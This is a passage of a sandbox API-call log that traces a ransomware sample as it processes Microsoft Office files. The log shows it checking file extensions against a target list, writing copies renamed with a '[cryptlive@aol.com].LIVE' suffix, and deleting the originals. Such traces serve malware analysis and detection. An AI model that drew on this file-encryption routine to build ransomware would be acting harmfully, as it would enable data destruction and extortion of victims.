(hObject=0x3c4) returned 1 [0148.371] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.371] SetEndOfFile (hFile=0x3c8) returned 1 [0148.374] CloseHandle (hObject=0x3c8) returned 1 [0148.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.374] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk")) returned 1 [0148.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0148.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0148.375] lstrlenW (lpString=".doc") returned 4 [0148.375] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0148.375] lstrlenW (lpString=".docx") returned 5 [0148.375] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0148.375] lstrlenW (lpString=".pdf") returned 4 [0148.375] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0148.375] lstrlenW (lpString=".xls") returned 4 [0148.375] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0148.375] lstrlenW (lpString=".xlsx") returned 5 [0148.375] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0148.375] lstrlenW (lpString=".ppt") returned 4 [0148.375] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0148.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0148.375] lstrlenW (lpString=".zip") returned 4 [0148.375] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0148.375] lstrlenW (lpString=".rar") returned 4 [0148.375] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0148.375] lstrlenW (lpString=".bz2") returned 4 [0148.375] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0148.375] lstrlenW (lpString=".7z") returned 3 [0148.375] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0148.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0148.375] lstrlenW (lpString=".dbf") returned 4 [0148.375] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0148.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0148.375] lstrlenW (lpString=".1cd") returned 4 [0148.375] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0148.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0148.376] lstrlenW (lpString=".jpg") returned 4 [0148.376] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0148.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0148.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0148.376] lstrlenW (lpString=".doc") returned 4 [0148.376] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0148.376] lstrlenW (lpString=".docx") returned 5 [0148.376] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0148.376] lstrlenW (lpString=".pdf") returned 4 [0148.376] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0148.376] lstrlenW (lpString=".xls") returned 4 [0148.376] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0148.376] lstrlenW (lpString=".xlsx") returned 5 [0148.376] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0148.376] lstrlenW (lpString=".ppt") returned 4 [0148.376] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0148.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0148.376] lstrlenW (lpString=".zip") returned 4 [0148.376] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0148.376] lstrlenW (lpString=".rar") returned 4 [0148.376] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0148.376] lstrlenW (lpString=".bz2") returned 4 [0148.376] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0148.376] lstrlenW (lpString=".7z") returned 3 [0148.376] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0148.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0148.376] lstrlenW (lpString=".dbf") returned 4 [0148.376] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0148.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0148.376] lstrlenW (lpString=".1cd") returned 4 [0148.376] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0148.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0148.376] lstrlenW (lpString=".jpg") returned 4 [0148.376] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0148.377] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".LIVE") returned -1 [0148.377] lstrlenW (lpString="WWINTL.REST.IDX_DLL") returned 19 [0148.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0148.377] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=614784) returned 1 [0148.377] CloseHandle (hObject=0x3c8) returned 1 [0148.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll")) returned 0x20 [0148.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0148.378] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.378] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0148.381] GetLastError () returned 0x0 [0148.381] ReadFile (in: hFile=0x3c8, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x96180, lpOverlapped=0x0) returned 1 [0148.487] WriteFile (in: hFile=0x3c4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x96190, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x96190, lpOverlapped=0x0) returned 1 [0148.499] ReadFile (in: hFile=0x3c8, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.499] WriteFile (in: hFile=0x3c4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0148.499] SetEndOfFile (hFile=0x3c4) returned 1 [0148.499] CloseHandle (hObject=0x3c4) returned 1 [0148.499] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.499] SetEndOfFile (hFile=0x3c8) returned 1 [0148.645] CloseHandle (hObject=0x3c8) returned 1 [0148.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.671] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll")) returned 1 [0148.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0148.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0148.698] lstrlenW (lpString=".doc") returned 4 [0148.698] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0148.698] lstrlenW (lpString=".docx") returned 5 [0148.698] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0148.698] lstrlenW (lpString=".pdf") returned 4 [0148.698] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0148.698] lstrlenW (lpString=".xls") returned 4 [0148.698] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0148.698] lstrlenW (lpString=".xlsx") returned 5 [0148.698] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0148.698] lstrlenW (lpString=".ppt") returned 4 [0148.698] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0148.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0148.698] lstrlenW (lpString=".zip") returned 4 [0148.698] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0148.698] lstrlenW (lpString=".rar") returned 4 [0148.698] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0148.698] lstrlenW (lpString=".bz2") returned 4 [0148.698] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0148.698] lstrlenW (lpString=".7z") returned 3 [0148.698] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0148.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0148.698] lstrlenW (lpString=".dbf") returned 4 [0148.698] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0148.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0148.699] lstrlenW (lpString=".1cd") returned 4 [0148.699] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0148.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0148.699] lstrlenW (lpString=".jpg") returned 4 [0148.699] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0148.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0148.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0148.699] lstrlenW (lpString=".doc") returned 4 [0148.699] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0148.699] lstrlenW (lpString=".docx") returned 5 [0148.699] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0148.699] lstrlenW (lpString=".pdf") returned 4 [0148.699] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0148.699] lstrlenW (lpString=".xls") returned 4 [0148.699] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0148.699] lstrlenW (lpString=".xlsx") returned 5 [0148.699] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0148.699] lstrlenW (lpString=".ppt") returned 4 [0148.699] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0148.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0148.699] lstrlenW (lpString=".zip") returned 4 [0148.699] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0148.699] lstrlenW (lpString=".rar") returned 4 [0148.699] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0148.699] lstrlenW (lpString=".bz2") returned 4 [0148.699] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0148.699] lstrlenW (lpString=".7z") returned 3 [0148.700] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0148.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0148.700] lstrlenW (lpString=".dbf") returned 4 [0148.700] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0148.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0148.700] lstrlenW (lpString=".1cd") returned 4 [0148.700] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0148.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0148.700] lstrlenW (lpString=".jpg") returned 4 [0148.700] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0148.700] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".LIVE") returned -1 [0148.700] lstrlenW (lpString="XLSLICER.DLL.IDX_DLL") returned 20 [0148.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.731] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=12672) returned 1 [0148.731] CloseHandle (hObject=0x38c) returned 1 [0148.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll")) returned 0x20 [0148.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.732] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.732] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.733] GetLastError () returned 0x0 [0148.733] ReadFile (in: hFile=0x38c, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x3180, lpOverlapped=0x0) returned 1 [0148.739] WriteFile (in: hFile=0x384, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x3190, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x3190, lpOverlapped=0x0) returned 1 [0148.740] ReadFile (in: hFile=0x38c, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.740] WriteFile (in: hFile=0x384, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0148.741] SetEndOfFile (hFile=0x384) returned 1 [0148.741] CloseHandle (hObject=0x384) returned 1 [0148.741] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.741] SetEndOfFile (hFile=0x38c) returned 1 [0148.743] CloseHandle (hObject=0x38c) returned 1 [0148.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.850] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll")) returned 1 [0148.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0148.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0148.851] lstrlenW (lpString=".doc") returned 4 [0148.851] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0148.851] lstrlenW (lpString=".docx") returned 5 [0148.851] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0148.851] lstrlenW (lpString=".pdf") returned 4 [0148.851] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0148.851] lstrlenW (lpString=".xls") returned 4 [0148.851] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0148.851] lstrlenW (lpString=".xlsx") returned 5 [0148.851] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0148.851] lstrlenW (lpString=".ppt") returned 4 [0148.851] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0148.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0148.851] lstrlenW (lpString=".zip") returned 4 [0148.851] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0148.851] lstrlenW (lpString=".rar") returned 4 [0148.851] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0148.851] lstrlenW (lpString=".bz2") returned 4 [0148.851] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0148.851] lstrlenW (lpString=".7z") returned 3 [0148.851] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0148.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0148.851] lstrlenW (lpString=".dbf") returned 4 [0148.851] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0148.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0148.851] lstrlenW (lpString=".1cd") returned 4 [0148.851] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0148.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0148.851] lstrlenW (lpString=".jpg") returned 4 [0148.851] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0148.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0148.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0148.852] lstrlenW (lpString=".doc") returned 4 [0148.852] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0148.852] lstrlenW (lpString=".docx") returned 5 [0148.852] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0148.852] lstrlenW (lpString=".pdf") returned 4 [0148.852] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0148.852] lstrlenW (lpString=".xls") returned 4 [0148.852] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0148.852] lstrlenW (lpString=".xlsx") returned 5 [0148.852] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0148.852] lstrlenW (lpString=".ppt") returned 4 [0148.852] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0148.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0148.852] lstrlenW (lpString=".zip") returned 4 [0148.852] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0148.852] lstrlenW (lpString=".rar") returned 4 [0148.852] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0148.852] lstrlenW (lpString=".bz2") returned 4 [0148.852] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0148.852] lstrlenW (lpString=".7z") returned 3 [0148.852] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0148.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0148.852] lstrlenW (lpString=".dbf") returned 4 [0148.852] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0148.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0148.852] lstrlenW (lpString=".1cd") returned 4 [0148.852] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0148.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0148.852] lstrlenW (lpString=".jpg") returned 4 [0148.852] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0148.852] lstrcmpiW (lpString1=".ACL", lpString2=".LIVE") returned -1 [0148.852] lstrlenW (lpString="MSO.ACL") returned 7 [0148.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0148.853] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=50556) returned 1 [0148.853] CloseHandle (hObject=0x380) returned 1 [0148.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl")) returned 0x20 [0148.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0148.854] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.854] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0149.440] GetLastError () returned 0x0 [0149.440] ReadFile (in: hFile=0x380, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0xc57c, lpOverlapped=0x0) returned 1 [0149.452] WriteFile (in: hFile=0x3a0, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xc580, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xc580, lpOverlapped=0x0) returned 1 [0149.453] ReadFile (in: hFile=0x380, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.453] WriteFile (in: hFile=0x3a0, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0149.454] SetEndOfFile (hFile=0x3a0) returned 1 [0149.454] CloseHandle (hObject=0x3a0) returned 1 [0149.454] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.454] SetEndOfFile (hFile=0x380) returned 1 [0149.481] CloseHandle (hObject=0x380) returned 1 [0149.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.481] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl")) returned 1 [0149.482] lstrlenW 